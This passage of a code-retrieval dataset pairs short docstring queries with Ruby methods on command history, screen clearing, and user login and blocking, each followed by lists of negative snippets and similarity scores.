end", "def clear\r\n @commands.clear\r\n nil\r\n end", "def clear\n io.truncate(0)\n io_index.clear\n self\n end", "def all_history\n history(history: {})\n end", "def clear\n @track = []\n home\n end", "def clear\n raise \"not implemented\"\n end", "def clear\n return\n end", "def clear\n while peek\n pop\n end\n end", "def creat_empty_history\n new_history = {\n \"Records\": []\n }\n @history = new_history\n @history\n end", "def clear\n system 'clear'\n \n end", "def clear\r\n system('clear')\r\n end", "def reset\n @buffer.string = @buffer.read; nil\n end", "def clear\n @hash.del\n @index.del\n end", "def clear_to_end\n ConsoleGlitter.escape('0J')\n end", "def clear\n \"\\e[2J\\e[H\"\nend", "def clear_log\n @output = []\n end", "def reset_url_history(role) \n cookie_name = (role.to_s + \"_url_history\").to_sym\n history = get_url_history(cookie_name, URL_HISTORY_SIZE)\n history.reset\n save_url_history(cookie_name, \"/\", history)\n end", "def clear\n @cache = {}\n end", "def clear_screen\n output(Esc.string('clear'))\n end", "def clear\n @commands.clear\n nil\n end", "def clear_to_beginning\n ConsoleGlitter.escape('1J')\n end" ]
[ "0.81732947", "0.80272365", "0.7997522", "0.75578344", "0.75578344", "0.73647267", "0.722293", "0.72044873", "0.70209783", "0.69117504", "0.6894914", "0.68522763", "0.68152416", "0.6779411", "0.6682489", "0.6642941", "0.65788126", "0.6551021", "0.64210725", "0.6416945", "0.631972", "0.62603396", "0.6244385", "0.6244385", "0.62430644", "0.61965835", "0.6183051", "0.61582553", "0.61512774", "0.6144599", "0.6144599", "0.6144599", "0.6129021", "0.6117204", "0.60890865", "0.60890865", "0.6071761", "0.60516214", "0.60294443", "0.60215044", "0.6017259", "0.60097754", "0.60097754", "0.60097754", "0.60097754", "0.60097754", "0.60097754", "0.60097754", "0.6004524", "0.6004524", "0.6004524", "0.6003408", "0.6000165", "0.59846735", "0.59692895", "0.5965176", "0.5964808", "0.5957308", "0.59564495", "0.593111", "0.5926114", "0.5926114", "0.59027195", "0.5898101", "0.5888449", "0.5845922", "0.58455914", "0.584483", "0.5837408", "0.58360565", "0.58135206", "0.5811385", "0.5801553", "0.5790358", "0.5789413", "0.5788572", "0.57814145", "0.5778548", "0.5773309", "0.57732296", "0.576621", "0.5765875", "0.57506865", "0.574396", "0.5739462", "0.5728064", "0.5726611", "0.57259625", "0.5721124", "0.57124287", "0.5710022", "0.57081145", "0.57004327", "0.5697122", "0.5694144", "0.56918895", "0.56850725", "0.5681546", "0.5680913", "0.567067" ]
0.8034555
1
Just show the history.
def show_history pattern = Regexp.new(@args[0] || /./) @history.each_with_index do |item, index| puts "#{index+1}: #{item}" if item =~ pattern end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def history\n # blank\n end", "def history; end", "def history; end", "def history; end", "def history\r\n\r\n end", "def write_history; end", "def cmd_history argv\n setup argv\n msg run_cmd(\"history\")\n end", "def history\n\t\t@user.show_log\n\tend", "def history\r\n []\r\n end", "def print\n puts \"====== Pastes History ======\".green\n unless @links.empty?\n @links.each_with_index { |l, i| puts \"#{i+1}. #{l}\" }\n else\n puts \"your history is empty...\"\n end\n puts \"============================\".green\n end", "def redirection_history; end", "def history\n History\n end", "def history?\n true\n end", "def all_history\n history(history: {})\n end", "def history?\n true\n end", "def history=(_arg0); end", "def history=(_arg0); end", "def write_history\n return super if SqueezeHistory.disabled?\n config[:history] = squeezed_history\n super\n end", "def show\n @history = ExchangeRecord.get_historical_data(@exchange_combination.base,\n @exchange_combination.target)\n end", "def history\n generic_index(true)\n end", "def history\n session[:back_link_history]\n end", "def history\n @history ||= @repository.log(30, nil, path)\n end", "def history\n @history.dup\n end", "def history\n rest.get stats_path(:history) do |response|\n response_handler response\n end\n end", "def history=(value)\n @history = value\n end", "def history=(value)\n @history = value\n end", "def history\n @history ||= LEAP::Motion::Utils::History.new(options[:history_size])\n end", "def history\n command = AccountHistory.call(@current_user)\n if command.success?\n @history = command.result\n render 'history.json.jbuilder', status: :ok\n else\n render json: {error: command.errors}, status: :bad_request\n end\n end", "def add_to_history(page); end", "def history(options={})\n param = { :uniq_id => @uniq_id }.merge options\n Storm::Base::SODServer.remote_list '/Server/history', param do |i|\n notification = Notification.new\n notification.from_hash i\n notification\n end\n end", "def redirection_history=(_arg0); end", "def get_next_history\r\n false\r\n end", "def history\n return @history\n end", "def history\n return @history\n end", "def interactive_history_back e\n if not @history.at_beginning\n store_in_history\n @history.back\n restore_from_history\n end\n end", "def history\n self.class.history.of(self)\n end", "def history\n self.class.history.of(self)\n end", "def show\n render json: @history\n end", "def get_previous_history\r\n false\r\n end", "def init_history history\n\n history.set_editable false\n history.set_can_focus false\n history.set_justification 1\n\n end", "def append_history(_str)\r\n end", "def account_history\n get('account/history')\n end", "def history(session_name = nil)\n query_params = session_name ? build_params(session: get_session_id(session_name)) : ''\n response = get(\"#{admin_url}/history?#{query_params}\")\n body = parse_body(response)\n\n raise body[:message] unless body.is_a?(Array)\n\n body.map do |entry|\n HistoryResponse.new(entry)\n end\n end", "def display_past_history(current_user, date)\n puts `clear`\n puts \"************ \".blue + \"Your Drinks From\" + \" ************\".blue\n puts \"************ \".blue + \"#{date.strftime(\"%a, %d %b %Y\")} - 8:00 AM\" + \" ************\".blue\n puts \"************ \".blue + \"until\" + \" ************\".blue\n puts \"************ \".blue + \"#{(date+1).strftime(\"%a, %d %b %Y\")} - 7:59 AM\" + \" ************\".blue\n puts \"\"\n display_drinks_on_date(current_user, date)\n puts \"\"\n puts \"*****************************************************\".blue\nend", "def full_history_1\n # --- \"Full History by date\" tab: ---\n @tab_title = I18n.t('radiography.full_history_by_date')\n\n # Retrieve swimmer results and gets DAO structure to show them\n # Could limit date range with optional parameters\n sc = SwimmerCareer.new( @swimmer )\n sc.retrieve_data\n @swimmer_career = sc.set_swimmer_career_dao\n @max_updated_at = @swimmer_career.updated_at\n end", "def get_history(page_token = nil); end", "def history_added; end", "def history\n @memory.rewind\n @memory.read\n end", "def show\n @history = History. all.find(params[:id])\n respond_to do |format|\n format.html\n format.json {\n render 'show', format: 'json', handlers: 'jbuilder', status: :ok\n }\n end\n end", "def index\n @histories = History.all.reverse_order\n end", "def interactive_history_forward e\n if not @history.at_end\n store_in_history\n @history.foreward\n restore_from_history\n end\n end", "def history(client)\n @redis.hgetall(key(client))\n end", "def toggle_history_view_link\n only_comments = (session[:only_comments].to_i == 0)\n str = only_comments ? _(\"Showing Full History\") : _(\"Showing Only Comments\")\n\n return link_to_remote(str, :loading => \"showProgress();\", :complete => \"hideProgress();\",\n :url => { :action => 'toggle_history', :id => @task.id })\n end", "def remote_call_for_history(entity, options = {})\n remote_call_for_action(:history, entity, options)\n end", "def history\n render_success Offer.where(assignment: @assignment).order(\n created_at: :desc\n )\n end", "def history\n @history ||= PublicEarth::Db::History.many.descriptive_changes_by_user(self.id)\n end", "def _rl_start_using_history()\r\n using_history()\r\n @_rl_saved_line_for_history = nil\r\n end", "def log_history\n logger.info('[]' + request.method + \"\\t\" + request.fullpath + \"\\t\" + request.remote_ip + \"\\t\" + Time.now.strftime('%Y-%m-%d %H:%M:%S'))\n end", "def history\n return @history unless @history.nil?\n @history = (\n if History.exist?(root)\n History.at(root)\n else\n false\n end\n )\n end", "def history(limit: 1000)\n response = rpc(action: :history, param_name: :hash, params: {count: limit})\n response[:history].collect {|entry| Banano::Util.symbolize_keys(entry) }\n end", "def on_exit\n\t\tputs \"live coding history: #{@history.size} states\"\n\tend", "def save_history\n IRB.conf[:SAVE_HISTORY]\n end", "def store_history\n if ENV['HOME']\n File.open(history_file, \"w\") do |f|\n Readline::HISTORY.to_a.reverse[0..49].each do |item|\n f.puts(item)\n end\n end\n end\n end", "def history\n @story = Story.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def goto_end_of_history\r\n end", "def index\n @history_items = HistoryItem.all\n end", "def p4_history\n history p4_versions do |version|\n Dir.chdir \"../#{version}\" do\n flog_flay\n end\n end\n end", "def history(file=nil)\n if file\n File.open(file, \"w\") do |f|\n f.puts IRB::ReadlineInputMethod::HISTORY.to_a\n end\n else\n puts IRB::ReadlineInputMethod::HISTORY.to_a\n end\nend", "def history_added=(_arg0); end", "def clear_history\n #TODO: Use Delete Private Data Dialog?\n opera_desktop_action(\"Clear visited history\")\n opera_desktop_action(\"Clear typed in history\")\n end", "def clear_history\n #TODO: Use Delete Private Data Dialog?\n opera_desktop_action(\"Clear visited history\")\n opera_desktop_action(\"Clear typed in history\")\n end", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def read_history\n if ENV['HOME'] && File.exist?(history_file)\n File.readlines(history_file).reverse.each do |line|\n Readline::HISTORY << line\n end\n end\n end", "def history\n # How do I make a specific person's history page load?\n current_user# Calls the current_user method in application_controller\n # which returns @current_user\n end", "def history\n return nil unless tracked?\n @history ||= $repo.log.path(@name)\n end", "def one_history\n history = History.find(@id)\n history\n end", "def history\n @parent ? @parent.history + [@name] : []\n end", "def clear_history\n if @args[0] == 'clear'\n @history.clear\n else\n false\n end\n end", "def history\n @agent.history\n end", "def index\n # todo: 「内容」をクリックしたらcolorboxか別ページで表示して、コメントはそこでできるように。一覧ではコメント数は表示する\n @histories = History.includes_all\n @history = History.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @histories }\n end\n end", "def history_file\n dir['history']\n end", "def help\n puts \"Usage: git file-history filename\"\n puts \" Show blame history for a file\"\n exit 1\nend", "def add_simple_history(name, url,method)\n %[dhtmlHistory.add(\"#{name}\", \"new Ajax.Request('#{url}', {asynchronous:false, evalScripts:true, method:'#{method}'});\")]\n end", "def history\n template = Template.find(params[:id])\n authorize template\n templates = Template.where(family_id: template.family_id)\n local_referrer = if template.customization_of.present?\n customisable_org_admin_templates_path\n else\n organisational_org_admin_templates_path\n end\n render 'history', locals: {\n templates: templates,\n query_params: { sort_field: 'templates.version', sort_direction: 'desc' },\n referrer: local_referrer,\n current: templates.maximum(:version)\n }\n end", "def index\n @admin_histories = Admin::History.all.order(:sort)\n end", "def history\n # Should be paginatable.\n # Oh, it's belongs as a separate resource, paginateable.\n self.edits.where(state: 'applied').order(:date)\n end", "def set_history\n @history = History.find(params[:id])\n end", "def history(options={})\n resp = (options.nil? || options.empty?) ? get(Googl::Utils::API_HISTORY_URL) : get(Googl::Utils::API_HISTORY_URL, :query => options)\n case resp.code\n when 200\n self.items = resp.parsed_response.to_openstruct\n else\n raise exception(\"#{resp.code} #{resp.parsed_response}\")\n end\n end", "def history(object, params={})\n history_url = \"#{API_URL}#{object}.json?m=history\"\n perform_get_request(history_url, params)\n end", "def clear_history\n while ! Readline::HISTORY.empty? do\n Readline::HISTORY.pop\n end\n end", "def save_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tlines = Readline::HISTORY.to_a.reverse.uniq.reverse\n\t\tlines = lines[ -DEFAULT_HISTORY_SIZE, DEFAULT_HISTORY_SIZE ] if\n\t\t\tlines.length > DEFAULT_HISTORY_SIZE\n\n\t\tself.log.debug \"Saving %d history lines to %s.\" % [ lines.length, histfile ]\n\n\t\thistfile.open( File::WRONLY|File::CREAT|File::TRUNC ) do |ofh|\n\t\t\tofh.puts( *lines )\n\t\tend\n\tend", "def save_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tlines = Readline::HISTORY.to_a.reverse.uniq.reverse\n\t\tlines = lines[ -DEFAULT_HISTORY_SIZE, DEFAULT_HISTORY_SIZE ] if\n\t\t\tlines.length > DEFAULT_HISTORY_SIZE\n\n\t\tself.log.debug \"Saving %d history lines to %s.\" % [ lines.length, histfile ]\n\n\t\thistfile.open( File::WRONLY|File::CREAT|File::TRUNC ) do |ofh|\n\t\t\tofh.puts( *lines )\n\t\tend\n\tend", "def hist\n @hist = History.where(:asset_id => @asset)\n render layout: false\n end", "def write_history\n date = Time.now.send(\"beginning_of_#{self.class.config[:delete_from]}\") # ustawia okres w ktorym usuwamy stara historie. domyslnie jeden dzień\n self.send(self_class_name+'_histories').find_all_from_beginning_date(date).each {|ch| ch.destroy } if self.has_history_from?(date)\n \"History::#{self_class_name.camelize}History\".constantize.new(:date => Time.now, :owner => self, :value => self).save\n end", "def history\n @vcs.history\n end", "def history\n @submissions = current_user.submissions.order('created_at desc')\n end", "def read_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tif histfile.exist?\n\t\t\tlines = histfile.readlines.collect {|line| line.chomp }\n\t\t\tself.log.debug \"Read %d saved history commands from %s.\" % [ lines.length, histfile ]\n\t\t\tReadline::HISTORY.push( *lines )\n\t\telse\n\t\t\tself.log.debug \"History file '%s' was empty or non-existant.\" % [ histfile ]\n\t\tend\n\tend", "def read_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tif histfile.exist?\n\t\t\tlines = histfile.readlines.collect {|line| line.chomp }\n\t\t\tself.log.debug \"Read %d saved history commands from %s.\" % [ lines.length, histfile ]\n\t\t\tReadline::HISTORY.push( *lines )\n\t\telse\n\t\t\tself.log.debug \"History file '%s' was empty or non-existant.\" % [ histfile ]\n\t\tend\n\tend" ]
[ "0.7937038", "0.78794867", "0.78794867", "0.78794867", "0.7828564", "0.749446", "0.7419719", "0.7256493", "0.71060765", "0.7046995", "0.7044046", "0.70438206", "0.70235246", "0.70190156", "0.6989189", "0.69209784", "0.69209784", "0.68940425", "0.68840396", "0.6879293", "0.6794986", "0.67446834", "0.67317295", "0.6697475", "0.66956735", "0.66956735", "0.6693697", "0.66794753", "0.662035", "0.6583929", "0.6566802", "0.6496336", "0.649382", "0.649382", "0.64913845", "0.644878", "0.644878", "0.64482087", "0.6444598", "0.64438313", "0.6442745", "0.6434459", "0.6425384", "0.64246976", "0.64157593", "0.6407327", "0.6403849", "0.64023", "0.63917714", "0.63809466", "0.6363391", "0.63424593", "0.633801", "0.6327845", "0.63188946", "0.6313535", "0.62979835", "0.62939215", "0.6264966", "0.6247", "0.6245615", "0.6243659", "0.6202791", "0.61938804", "0.61923045", "0.61820525", "0.61811703", "0.6180854", "0.6178388", "0.6163886", "0.6163886", "0.6149753", "0.6149753", "0.6149753", "0.6126084", "0.6109631", "0.60921705", "0.60827523", "0.6079121", "0.6067024", "0.6059391", "0.602523", "0.60248435", "0.6023563", "0.60130584", "0.6008144", "0.59962064", "0.5993327", "0.59918094", "0.5990292", "0.5983109", "0.5971565", "0.5962286", "0.5962286", "0.5960998", "0.5958941", "0.59570974", "0.595482", "0.59499586", "0.59499586" ]
0.78962135
1
Blocks a user from logging in to web instance
def setUserWebBlocked(block) @WEB_PROPS["BLOCKED"] = block @ACCESS_CONTROL.setUserField(@USER_NAME, "BLOCKED", block) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def logging_in\n current_user.absorb_from(guest_user)\n end", "def block_user\n SecurityService.block_user(params[:id])\n redirect_to '/users/', notice: \"Käyttäjä ei voi enää luoda kursseja.\"\n end", "def check_login\n head :forbidden unless self.current_user\n end", "def block_access\n if current_user.present?\n redirect_to users_path\n end\n end", "def login_required\n raise Forbidden unless @current_member #ログイン状態でないとForbiddenを発生させる\n end", "def log_in\n end", "def require_login\n end", "def logged_in_only()\n # session[:current_user_id] = 123\n # if you are a logged in user\n if(session[:current_user_id])\n # execute script inside of this block\n yield\n else\n # otherwise\n # send login failure and redirect to login\n flash[:warning] = \"Not Logged In\"\n redirect_to \"/login\"\n end\n end", "def logging_in\n end", "def site_authenticate\n deny_access unless signed_in?\n end", "def logging_in\n \t\t\n \tend", "def enforce_logged_in\n bounce unless current_user\n end", "def run()\n login()\n end", "def block\n current_user.block_user(@user.id)\n render json: {ok: 1}\n end", "def req_login\n unless curr_user\n flash[:danger] = \"Login to view this content\"\n redirect_to login_url\n end\n end", "def authenticate\n deny_access unless loged_in?\n end", "def login\r\n if request.get?\r\n # Logout user\r\n self.logged_in_user = nil\r\n else\r\n # Authenticate user\r\n user = User.try_to_login(params[:login], params[:password])\r\n if user\r\n self.logged_in_user = user\r\n # user.update_attribute(:ip_last, request.remote_ip)\r\n journal(\"log_in\",user.id)\r\n # generate a key and set cookie if autologin\r\n if params[:autologin] && Setting.autologin?\r\n token = Token.create(:user => user, :action => 'autologin')\r\n cookies[:autologin] = { :value => token.value, :expires => 1.year.from_now }\r\n end\r\n puts \"aqui\"\r\n if user.show? \r\n puts \"1\"\r\n redirect_back_or_default :controller => 'my', :action => 'athletes'\r\n else \r\n puts \"2\" \r\n redirect_back_or_default :controller => 'my', :action => 'page'\r\n end\r\n else\r\n # if user.locked?\r\n # flash.now[:notice] = l(:status_locked)\r\n # else\r\n flash.now[:notice] = l(:notice_account_invalid_creditentials)\r\n # end\r\n journal(\"invalid-\"+params[:login]+\"-\"+params[:password],0)\r\n end\r\n end\r\n end", "def check_login\n unless logged_in?\n access_denied\n end\n end", "def block!\n self.update_attribute(:status, ConfigCenter::User::BLOCKED)\n end", "def require_login\n return head(:forbidden) unless current_user\n end", "def no_auth\n puts 'Incorrect username or password!'.colorize(:red)\n sleep(1)\n if @count >= 3\n puts 'You have tried too many times! The application will now close..'.colorize(:light_red)\n exit\n end\n returning_user\n end", "def require_login\n return head(:forbidden) unless current_user\n end", "def new\n #user wants to log in \n end", "def new\n #user wants to log in \n end", "def block_user\n current_user.block_user!(params[:user_id])\n redirect_to :back, notice: \"#{User.find(params[:user_id]).full_name(false)} has been successfully blocked\"\n end", "def login_guest()\n login(:guest)\n end", "def user_logged_in\n if session[:just_logged_in] && !current_user.is_admin \n gon.display_login_popup = true\n \n session[:just_logged_in] = false\n end\n end", "def prevent_authenticated_user!\n if signed_in?\n head :forbidden\n end\n end", "def logged_in\r\n end", "def block_unauthenticated_user!\n unless current_user\n return render_unauthorized\n end\n end", "def login; end", "def new\n # If someone is already logged in, skip this step\n login(current_user) and return if logged_in?\n end", "def successful_login!\n unthrottle_user\n clear_bad_login_counter\n end", "def login_user_with_interface(username, password)\n activate_authlogic \n visit login_path\n click_link \"Connexion | Inscription\"\n fill_in 'user_session_username', :with => username\n fill_in 'user_session_password', :with => password\n click_button \"Connexion\"\n wait_for_ajax \nend", "def logged_in_user\n unless logged_in?\n puts \"not logged in\"\n end\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def logging_in\n logger.debug \"ApplicationController:logging_in >>> \"\n current_user.transfer_data(guest_user)\n end", "def protect\n unless logged_in?\n session[:return_to] = request.request_uri\n \n respond_to do |format|\n flash[:notice] = \"Please log in first\"\n format.html { redirect_to login_url }\n format.xml { render :xml => { :error => \"User must be logged in.\", :status => :unprocessable_entity } }\n end\n end\n end", "def ensure_user_logged_in\n bounce_user unless current_user\n end", "def blocked\n @user = User.find(params[:id])\n @user.block!\n redirect_to dashboard_listing_path\n end", "def login\n end", "def needs_login?() false end", "def become\n return respond_with_status(401) unless current_user.admin? # double check\n login_as(resource)\n redirect_to user_url\n end", "def skip_login? \n false \nend", "def login_without_usr_psd\n click_login_btn\nend", "def before_request\n self.login if require_login? && !@authenticating\n end", "def prompt_user_authorisation\n\n require './app/routes/web'\n\n # Start local API\n Launchy.open(\"http://localhost:5000/cli/auth\")\n\n auth_thread = Thread.new do\n Linkedin2CV::Routes::Web.run!\n end\n\n auth_thread\n end", "def user_login(user)\n click_log_in\n fill_login_credentials(user)\n end", "def authenticate_user\n render_403 'Invalid user.' if @user.blank? || !@user.active?\n end", "def require_signin\n deny_access if !signed_in?\n end", "def skip_login?\n false\n end", "def logged_in_user\n unless logged_in?\n redirect_to login_url\n end\n end", "def login\n make_login_call\n end", "def guest_user(_user)\n if RuntimeConfig.vote_signin_active?\n can :access, :sessions\n end\n end", "def login\n\n end", "def login\n\n end", "def logged_in_user\n unless logged_in?\n store_location # Store the website that the user is trying to access - this function is a sessions helper\n flash[:danger] = \"You need to log in to access this page.\"\n redirect_to login_url\n end\n end", "def login\n\tend", "def require_login\n return head(:forbidden) unless current_user || current_employee\n end", "def deny_access\n\t\tstore_location\n\t\tredirect_to signin_path, :notice => \"Please sign in to access this page.\"\n\tend", "def log_in(user)\n email = $credentials[user]['email']\n password = $credentials[user]['password']\n case user\n when 'User A'\n transporter.go_to_url(USER_A_HOST)\n set_field('identifier', email)\n click_btn('Next')\n set_field('password', password)\n click_btn('Next')\n when 'User B'\n transporter.go_to_url(USER_B_HOST)\n end\n end", "def logged_user_only\n unless logged_in?\n\t store_location\n\t flash[:danger] = \"Please log in!\"\n\t redirect_to login_url\n\t end\n end", "def logged_in_user\n unless logged_in?\n redirect_to '/login'\n end\n end", "def login\n self.login\n end", "def login\n ami_user_valid?\n ami_pass_valid?\n send_action :login, username: @ami_user, secret: @ami_password\n self\n end", "def no_login(user)\n # nada\n end", "def prevent_other_user_edits\n @user = User.find(params[:id])\n\n if !(logged_in?)\n redirect_to login_path\n flash[:danger] = \"You must be logged in to visit this page\"\n\n else\n if (current_user.id != @user.id)\n redirect_to home_path\n flash[:danger] = \"You must be logged in as the correct user to visit this page\"\n end\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:negative] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def unauthenticated\n end", "def log_web_user_in\n # Remeber to set :js => true\n user = create_factory_user\n\n # Signin\n visit root_path\n page.find('.sign-in').trigger(:mouseover)\n fill_in \"user_email\", :with => user.email\n fill_in \"user_password\", :with => user.password\n click_button \"hit it\"\n\n # Disable the tutorial screen\n no_tutorial\n\n # Make sure you're logged in\n page.should have_content(\"Here are the people\")\n page.should have_content(\"add new contact\")\n\n return user\n end", "def login_required\n call(Rs(:login)) unless logged_in?\n end", "def login_and_run(&block)\n login\n yield self\n logout\n end", "def require_login\n unless logged_in?\n redirect url(:admin_login)\n throw :halt\n end\n end", "def restrict_access\n unless logged_in?\n flash[:error] = \"You have to login to access this page.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in? #Unless a user is logged in, run this loop\n store_location\n flash[:danger] = \"Please log in to access this material.\" #Flash warning\n redirect_to login_url #Go to login path\n end\n end", "def logged_in_user\n unless logged_in?\n redirect_to login_url, flash: { danger: \"Please log in.\" }\n end\n end", "def authenticate\n deny_access unless signed_in? \n end", "def logged_in_user\n unless logged_in?\n redirect_to login_url, flash: { danger: 'Por favor, faça login' }\n end\n end", "def active_for_authentication?\n super && !self.blocked\n end", "def active_for_authentication?\n super && !self.blocked\n end", "def deny_access\n\t\t# store location for forwarding users after log in to their intended location\n\t\tstore_location\n \tredirect_to signin_path, :notice => \"Please sign in to access this page.\"\n \tend", "def logged_in_user\n \tunless logged_in?\n \t\tflash[:danger] = \"Please log in.\"\n \t\tredirect_to login_url\n \tend\n end", "def login(user,pass)\n enter_text(user_field, user)\n enter_text(pass_field, pass)\n sleep 1\n # wait_for_login_done\n end", "def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end", "def logged_in_user\n unless logged_in?\n flash[:warning] = \"Please log in\"\n redirect_to root_url\n end\n end", "def user_login\n unless logged_in?\n navigated_location #stores the location that was navigated before login\n flash[:alert]= \"You Must Be Log In Order To Access that Portion of the Site\" \n redirect_to login_path\n end\n end", "def login_as(user)\n @request.session[:user_id] = user ? users(user).id : nil\n @request.session[:online_at] = Time.now.utc\n end", "def authenticate\n\t\tdeny_access unless signed_in?\n\tend", "def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end", "def login\n\t\t\tresponse = @http.get(\"/authentication/whoami\")\n\t if(response.code == '200')\n\t set_cookie(response)\n\t puts \"\"\n\t puts \"================\"\n\t puts \"login\"\n\t login_response = @http.post(\"/authentication/login\",\"username=#{@username}&password=#{@password}&skin=#{@skin}&account=#{@account}\",{'Cookie' => @cookies.to_s})\n\t check_cookie(login_response)\n\t login_check(login_response)\n\t puts \"--------\"\n\t else\n\t puts \"Error invalid host #{response.message}\"\n\t abort #if the login site is invalid, then abort\n\t end \n\t\tend", "def autologin_the_user\n #unless logged_in?\n # FrontendUserSession.create(params[:frontend_user_session])\n #end\n end", "def authenticated_only(&block)\n if logged_in?\n block.call\n end\n end", "def authenticated_only(&block)\n if logged_in?\n block.call\n end\n end" ]
[ "0.72287285", "0.676408", "0.67555094", "0.66576904", "0.6616262", "0.65111184", "0.64988256", "0.6468334", "0.64590335", "0.6417301", "0.6412859", "0.64115924", "0.6383688", "0.6380877", "0.6378194", "0.6358828", "0.63538873", "0.63321793", "0.631803", "0.6304174", "0.6296902", "0.6296068", "0.62950623", "0.62950623", "0.6290976", "0.6272197", "0.6246046", "0.6244015", "0.6234828", "0.62267566", "0.62070525", "0.618696", "0.6176403", "0.6158156", "0.61370355", "0.6136601", "0.6136601", "0.6136601", "0.6136601", "0.6136601", "0.6136601", "0.6136601", "0.6136601", "0.6136601", "0.6132781", "0.61321133", "0.61177534", "0.61165106", "0.611374", "0.61086905", "0.61075425", "0.6098119", "0.609352", "0.60882795", "0.6087275", "0.60852087", "0.60811794", "0.6080097", "0.6071035", "0.60684985", "0.6065848", "0.60583025", "0.60372764", "0.60372764", "0.6036633", "0.6022655", "0.59843063", "0.59823173", "0.5981055", "0.5980402", "0.5974777", "0.5973423", "0.5964866", "0.5964181", "0.5962394", "0.59605354", "0.59588915", "0.5958125", "0.59569937", "0.5956962", "0.5951398", "0.5949916", "0.59487325", "0.59449095", "0.5943522", "0.59416705", "0.59383905", "0.59383905", "0.59307677", "0.5929044", "0.5928371", "0.59275705", "0.59229785", "0.59201956", "0.5918724", "0.59134066", "0.59127104", "0.59079444", "0.5907706", "0.59044904", "0.59044904" ]
0.0
-1
Checks the users web instance login status
def isUserWebBlocked if(@WEB_PROPS != nil) amblocked = @WEB_PROPS["BLOCKED"] return (amblocked == nil && amblocked == "true") else return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_login_status\n # If user hasn't logged in\n unless logged_in?\n # Show reminder message\n flash[:info] = \"Log in to continue.\"\n\n # Redirect user to login page\n redirect_to login_url\n end\n end", "def needs_login?() false end", "def check_login\n \t\t\tif self.session == nil\n \t\t\t\t login\n \t\t\tend\n \tend", "def check_if_login_required\n false\n end", "def login_check(response)\n\t\t\tif response.code == '200'\n\t\t\t\tputs \"#{response.code} - #{response.message}: Logged in\"\n\t\t\t\tputs \"site: #{api_location}\"\n\t\t\t\tputs \"with: #{username}\"\n\t\t\telse\n\t\t\t\tputs \"#{response.code} - #{response.body}: Failed to log in\"\n\t\t\t\tif @test_login == false\n\t\t\t\t\tabort #if login fails, then abort\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def check_login\n unless logged_in?\n access_denied\n end\n end", "def check_login\n head :forbidden unless self.current_user\n end", "def verify_existing_login\n return if cookies[GlobalConstant::Cookie.user_cookie_name.to_sym].blank?\n\n @response = CompanyApi::Request::Client.new(\n CompanyApi::Response::Formatter::Client,\n request.cookies,\n {\"User-Agent\" => http_user_agent}\n ).fetch_verify_cookie_details\n\n # success means user is already logged in, we would redirect to dashboard / planner\n # Error means user ain't logged in yet.\n return unless @response.success?\n\n @presenter_obj = ::WebPresenter::UserPresenter.new(@response, params)\n\n if @presenter_obj.client_token.step_three_done?\n redirect_to :dashboard, status: GlobalConstant::ErrorCode.temporary_redirect and return\n else\n redirect_to :planner, status: GlobalConstant::ErrorCode.temporary_redirect and return\n end\n\n end", "def check_login\n I18n.locale = cookies[:lang] || I18n.default_locale\n begin\n if !request.xhr?\n $domain = request.protocol +\n (request.domain == nil ? request.host : request.domain) +\n (request.port == 80 ? '' : (':' + request.port.to_s))\n end\n rescue\n $domain = 'http://brse-school.vn'\n end\n\n begin\n if !($domain.include?('http://brse-school.vn') || $domain.include?('45.252.249.221') || $domain.include?('localhost:8100'))\n redirect_to '/error'\n end\n rescue\n\n end\n\n if session[:user_id] == nil\n if !request.xhr?\n redirect_to admin_login_index_path\n else\n result = Hash.new\n result['status'] = false\n render json: result\n end\n else\n @language = Helper.getLang\n $user_id = session[:user_id]\n if !request.xhr?\n @msg = Helper.genMsg\n @countRegistCouse = RegisterCourse.where(deleted_at: nil, status: 1).count(:id)\n @countRegistAdvisories = RegisterAdvisory.where(deleted_at: nil, status: 1).count(:id)\n @countRegistEvents = RegisterEvent.where(deleted_at: nil, status: 1).count(:id)\n @countSubscribes = Subscribe.where(deleted_at: nil, status: 1).count(:id)\n end\n end\n end", "def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end", "def check_login\n if !session[:user_name]\n redirect_to sign_in_path\n end\n end", "def login_status\n return \"\"\n end", "def logged_in? \r\n logger.info(\"Authentication::Logged In::sesssion:---- #{session}\")\r\n if session[:userEmail].blank?\r\n invalid_session = I18n.t(\"message.no_session\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"#{invalid_session}\"\r\n }\r\n else\r\n smv_status = {\r\n :statusCode => 0,\r\n :value => '', \r\n :msg => ''\r\n } \r\n end\r\n logger.info(\"Authentication::Logged In::status--- #{smv_status}\")\r\n if smv_status[:statusCode] ==-1\r\n logger.error(\"Authentication::Logged In::status--- #{smv_status}\")\r\n return false\r\n else \r\n return true\r\n end\r\n \r\n end", "def check_login\n if (current_user.blank? or current_user.username.blank?) and !session[:user_id].blank? \n logger.error(\"logout occurred\")\n session[:user_id] = nil\n elsif session[:user_id].blank? and !current_user_model.blank? and !current_user.blank? \n session[:user_id] = current_user_model.id\n session[:user_id] = '1' if session[:user_id].blank?\n logger.error(\"login occurred\")\n log_request('login')\n end\n end", "def check_if_logged_in\n abort(\"You must login first with: lpass login <login@name.com>\") if system(\"lpass status -q\") == false\n end", "def login\n response = get \"server\"\n response.code == 200\n end", "def login\n response = get \"server\"\n response.code == 200\n end", "def login_required?\n 